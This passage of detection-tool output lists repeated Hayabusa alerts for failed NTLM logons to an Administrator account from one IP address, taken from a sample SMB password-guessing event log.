NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.618 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CLjbQ6timbdQoufd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.653 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aZgoAnGEFwXN88bQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.698 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NZFWoL9XUMJdfNnY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.747 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x000TRnXfVtPAQSE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HNHWWHDOpXQyNdrR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.861 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1irbPdOoUfvq1MXd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dCflbKOMPJRXQHsD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.942 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zuy6nD4EXeGzEy5e : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:32.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xkig4u0LIS9v3HMK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.029 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 94RbUrUcMf6VhP8A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.069 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X9f7wCJ3wI9RmZTL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LkVs1viGo4RxhFaY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.212 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OKMLt6t01vUDDq1s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.254 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xYSif8ADOkC8aInB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EpmraSe2sxFVupTy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VPtfy3AxXpt9D3bx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.397 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tRMOrE0Ba983q0Jv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jQ0nkyTAeJt3dCpx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.489 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n2fdsRMU9SMm1KpL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3kliEPBsbsYNI7yG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9gEKFGsRvvlzulxR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5M6oUbT8LvS7JNCq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.661 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E4dxHwRQVR7iBWa1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VRygirU257VfFcR5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6H6i0wkjvWkU6cmp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W4Nh7bYfVvx30hVF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.849 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GQEsO4GpVjO5xpRh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c9ZlpSBwq0tLAgzm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 65Piip53B1AiSBqb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:33.974 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Bh7SfuheoykW7Aym : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.019 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tWdm76C4nL6tkU0Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u2WEqTrg3A760Axt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oyqhXspTlWwVCwA3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4rkidbQJmvQr35Jg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zr92VsL1YgHVehnL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.235 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rQP1K9rHrOyL0TOc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.281 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LR783q3o34oLQLTI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6NCTNhcghRGWf1qi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.354 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CVJdStLdKDbUICyB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.400 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: luAoVhEj1rOgZBfp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OrqmovxoEEjLCaYV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AIP4mDSVhM27IAIP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.537 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cym5lXDK01XuJz2b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7pYXA1Ic6BOfG31o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b722QrTSVoZGfiK8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NzRFz4L7dpar794B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pLWuw9eMN9rqm0Ic : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.737 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sE7pzfiKRfOb2dH5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.786 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YxL1cV8OiFVRfj4I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qHs8Z8XPLg58jZ1u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.857 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i6kRLlJt3Oxwhdgq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.897 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s4kTwriHAKVsTqzB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.941 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jfitpZ5ZrzBfpNf6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:34.984 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NdcU6ypEEeIAugGI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.029 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jIMfGIU1pHasO88g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.073 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MHsxKEQK7CWSqprp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.118 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QkC70klP6mv8YZrN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v3YM3zaZk64qqq7K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mOLbk23zOqQLZYZU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.243 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v0tlyXqvCQJVqaB5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.291 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: npjQlHcGls5gENng : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7buinUqketmW3Ib6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Rs5gYGs6JBf2yV1J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.475 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 67hYMvtmbrmv5LHn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gtV42zBnWwRCLfJS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jnaPNm28FvbFfM8L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oCEvKO14gPFHAZIA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.661 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iJJyXCm1YOI2uIAS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.717 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MNAScx4qMKxCJQdU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BKTHsNA29ZnPHCHQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CjvAb3sjN0PM8my4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.836 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wYQ6HuRSMh8DXzMf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SZgejUxgojDE1kR3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2L4yO411OUnkRGWQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:35.986 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O3mGCNGFML75P7w4 : IP Address: 192.168.198.149 : AuthPackage: 